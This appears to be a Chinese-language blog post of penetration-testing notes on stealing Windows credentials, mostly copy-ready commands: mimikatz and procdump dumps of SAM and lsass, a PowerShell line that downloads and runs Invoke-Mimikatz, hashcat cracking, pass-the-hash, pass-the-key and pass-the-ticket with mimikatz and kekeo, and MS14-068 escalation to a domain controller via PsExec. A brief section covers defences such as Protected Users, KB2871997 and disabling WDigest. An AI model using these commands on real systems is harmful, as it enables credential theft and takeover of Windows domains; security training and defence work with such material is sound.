Windows 密码抓取

郑重声明:
本笔记编写目的只用于安全知识提升,并与更多人共享安全知识,切勿使用笔记中的技术进行违法活动,利用笔记中的技术造成的后果与作者本人无关。倡导维护网络安全人人有责,共同维护网络文明和谐。

Windows 密码抓取

1 mimikatz 抓取密码

注:在 Windows 系统中抓取 NTLM Hash 值或明文密码,必须将权限提升到 System;lsass.exe 进程用于实现 Windows 的安全策略。

  1. 利用通过 SAM 和 System 文件获得 NTLM Hash

    gentilkiwi/mimikatz: A little tool to play with Windows security (github.com)

    # 无工具导出 SAM 文件
    reg save hklm\sam sam.hive
    reg save hklm\system system.hive
    # 使用 mimikatz 读取 SAM 和 System 文件
    mimikatz# lsadump::sam /sam:sam.hive /system:system.hive
    
    # 使用 Nishang 的 Get-PassHashes 脚本导出 Hash 值
    nishang-0.7.6\Gather> Import-Module .\Get-PassHashes.ps1
    Get-PassHashes
    
  2. 使用 mimikatz 读取本地 SAM 文件

    需要考虑 mimikatz 在目标机器上的免杀特性
    # 提权
    mimikatz# privilege::debug
    # 将权限提升至 System
    mimikatz# token::elevate
    # 读取本地 SAM 文件,获得 NTLM Hash
    mimikatz# lsadump::sam
    # 解密 HASH 值
    mimikatz# sekurlsa::logonpasswords
    

    image-20211110092817718

    image-20211110092902820

  3. 使用 mimikatz 离线读取 lsass.dmp 文件

    # 导出 lsass.dmp 文件
    找到 lsass.exe 进程,右键选择:创建转储文件
    
    # 利用 procdump 导出 lsass.dmp 文件
    procdump.exe -accepteula -ma lsass.exe lsass.dmp
    
    
  4. 使用 mimikatz 读取 lsass.dmp 文件中的密码 HASH值

    mimikatz# sekurlsa::minidump lsass.dmp
    mimikatz# sekurlsa::logonpasswords full
    
    
  5. 使用 powershell 远程加载 Mimikatz

    # 远程加载 Mimikatz 抓取 Hash 密码
    powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
    
    # 本地加载 Mimikatz 抓取 Hash 密码
    Import-Module .\Invoke-Mimikatz.ps1
    Invoke-Mimikatz
    

1.1 HashCat 解密 hash 值

hashcat/hashcat: World's fastest and most advanced password recovery utility (github.com)

使用方法:

# 测试当前主机破解密码的基准速度
hashcat.exe -b

# 指定 hash 的类型
hashcat.exe -m

# 指定破解模式
hashcat.exe -a
  0 | Straight					//字典破解
  1 | Combination				//组合破解
  3 | Brute-force				//掩码暴力破解
  6 | Hybrid Wordlist + Mask
  7 | Hybrid Mask + Wordlist
  9 | Association

# 常用命令
# 使用字典模式进行破解。
hashcat -a 0 -m xx <hashfile> <dict1> <dict2>
-a 0: 以字典模式破解
-m xx:指定 <hashfile> 内的 hash 类型

# 将 1 到 6 指定为数字进行破解
hashcat.exe -m 1000 -a 3 32ed87bdb5fdc5e9cba88547376818d4 ?d?d?d?d?d?d

1.2 防范 Windows 密码抓取

  1. 在WinSer12 中新增了 Protected Users 全局安全组,将需要保护的用户放入该组,便无法使用 Mimikatz 等工具抓取 Hash 值和明文密码。

  2. 安装 KB2871997: Microsoft KB2871997的学习

    :安装 KB2871997 后,普通用户无法使用常规的 Hash 值传递攻击,但 SID 500 (Administrator)账号依然中可以进行 Hash 传递攻击。

  3. 修改注册表禁止在内存中存储明文密码

    关闭 Wdigest 功能(WinSer12 及以上版本默认关闭 Wdigest),防止用户密码在内存中以明文形式泄露。Wdigest 功能开启时,攻击者可以使用工具获取明文密码;反之,不能。

    # 开启 Wdigest 功能
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
    
    # 关闭 Wdigest 功能
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0 /f
    
    # powershell 开启 Wdigest 功能
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1
    
    # powershell 关闭 Wdigest 功能
    Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 0
    
  4. 将拥有 Debug 权限的本地管理员从 Administrators 组中删除:Mimikatz 在抓取 Hash 值或明文密码时,需要使用 Debug 权限。

    secpol.msc -- 安全设置 -- 本地策略 -- 用户权限分配 -- 调试程序(debug programs):可以查看只有 Administrators 组中的用户具有 Debug 权限。

2 传递攻击

2.1 NTLM hash 传递攻击

利用条件:

  1. 被pth攻击的计算机未打补丁(KB2871997)
  2. 拿到一台域成员主机并且拿到管理员组的域用户的NTML
  3. 对方主机存在相同账号并且是管理员组成员
  4. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\FilterAdministratorToken:默认设置为0。如果设置为1,则SID为500的管理员也不能通过网络登录的方式获取高权限。
  5. :安装 KB2871997 后,普通用户无法使用常规的 Hash 值传递攻击,但 SID 500 (Administrator)账号依然中可以进行 Hash 传递攻击。
# 在目标主机中先获取 NTLM hash 值
mimikatz.exe "privilege::debug" "sekurlsa::msv"
# 提升权限
privilege::debug
# 获取 hash
sekurlsa::msv

# 在远程主机上进行 Hash 传递攻击
mimikatz.exe "privilege::debug" sekurlsa::pth /domian:要攻击的ip /user:目标主机上的用户名 /ntlm: NTLM哈希
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:test.lab /user:administrator /ntlm:570a9a65db8fba761c1008a51d4c95ab"

# 在弹出 cmd 窗口上,验证是否获取域控最高权限
# 查看域控制器的 C 盘,dc 为域控制器的主机名。
dir \\10.1.1.21\c$
dir \\dc\c$

2.2 AES-256 密钥传递攻击

利用条件:

  1. 目标主机上只有安装 KB2871997 ,才可以通过导入 AES-256 密钥的方式进行传递攻击。否则导入 AES-256 密钥后,会依然无法访问目标主机。
# 在目标主机中先获取 AES-256 值
mimikatz.exe "privilege::debug" "sekurlsa::ekeys"
# 获取 AES-256
sekurlsa::ekeys

# 在远程主机上进行 AES-256 密钥传递攻击
mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:test.lab /user:administrator /aes256:5e5bd89efaefe26121d8c815391d9681e41cc0c1e1d009eeddb82273e6eca152"

# dir \\dc\c$

image-20211110091526179

2.3 Ticket 传递攻击

2.3.1 利用 mimikatz 进行 Ticket 传递攻击

# 在目标主机上导出票据
# 导出内存中的 Tickets
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
# 清除内存中的 Tickets
mimikatz# kerberos::purge

# 在远程主机上将票据文件注入到内存中
.\mimikatz.exe "kerberos::ptt .\`[0;3ae4f`]-2-0-40e10000-Administrator@krbtgt-TEST.LAB.kirbi"

image-20211110093506835

image-20211110094507004

2.3.2 利用 kekeo 进行 Ticket 传递攻击

gentilkiwi/kekeo: A little toolbox to play with Microsoft Kerberos in C (github.com)

kekeo使用域名,用户名,NTLM Hash 三者配合生成票据,再将票据导入,从而直接连接远程计算机。

# 生成票据
.\kekeo.exe "tgt::ask /domain:test.lab /user:Administrator /ntlm:570a9a65db8fba761c1008a51d4c95ab"

# 清除当前内存中的其他票据,否则可能会导致票据传递失败
#在 kekeo 中
kekeo # kerberos::purge
# 利用系统自带命令
klist.exe purge

# 导入票据
.\kekeo.exe "kerberos::ptt TGT_Administrator@TEST.LAB_krbtgt~test.lab@TEST.LAB.kirbi"

image-20211110100506395

2.3.3 ms14-068.exe kerberos

MS14-068(CVE-2014-6324)域控提权利用及原理解析 - 紅人 - 博客园 (cnblogs.com)

利用条件:

  1. 域控没有打MS14-068的补丁(KB3011780)
  2. 拿下一台加入域的计算机,并拥有此计算机的域用户密码和Sid
# 获取 SID
# 如果当前用户为域用户
whoami /user
test\test02 S-1-5-21-3884001349-2725517725-626265054-1108
# 本地用户:管理员权限下用 mimikatz 抓取本地的域用户密码,域用户与SID
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

# 利用ms14-068.exe 工具生成伪造的kerberos协议认证证书
MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr>
MS14-068.exe -u test02@test.lab -p Admin123 -s S-1-5-21-3884001349-2725517725-626265054-1108 -d 10.1.1.21

# 利用mimikatz.exe将证书写入,从而提升为域管理员
mimikatz.exe "kerberos::ptc TGT_test02@test.lab.ccache"

# 写入成功后,使用PsExec.exe以管理员权限运行连接域控
PsExec64.exe \\dc cmd.exe

2.3.4 Ticket 传递攻击特点

  1. Ticket 文件注入内存的默认有效时间为 10 小时
  2. 使用 dir 命令时,务必使用主机名,如果使用 IP 会报错
  3. 目标主机上,不需要管理员权限也可进行 Ticket 传递攻击
posted @ 2023-05-27 11:45  f_carey  阅读(341)  评论(0编辑  收藏  举报